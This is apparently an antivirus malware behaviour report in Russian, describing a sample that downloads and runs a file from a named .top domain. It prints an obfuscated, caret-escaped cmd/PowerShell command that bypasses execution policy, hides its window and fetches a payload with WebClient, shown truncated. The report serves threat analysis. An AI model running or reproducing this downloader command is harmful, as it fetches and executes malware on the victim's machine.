Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://trustgovnet.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pO^WERSHeLL.^e^xE^ -^E^xe^c^UTIoN^POL^ic^Y ^b^yP^a^ss^ -^nOpRo^Fi^Le^ ^-w^iNdow^stylE hi^D^dEN^ (ne^W-o^BjEc^T s^y^st^em.nET^.WEb^clIEnT).^dow^nLOaDFi^lE(^'http://trustgovne...
Сетевая активность
UDP
- DNS ASK tr###govnet.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pO^WERSHeLL.^e^xE^ -^E^xe^c^UTIoN^POL^ic^Y ^b^yP^a^ss^ -^nOpRo^Fi^Le^ ^-w^iNdow^stylE hi^D^dEN^ (ne^W-o^BjEc^T s^y^st^em.nET^.WEb^clIEnT).^dow^nLOaDFi^lE(^'http://trustgovne...' (со скрытым окном)
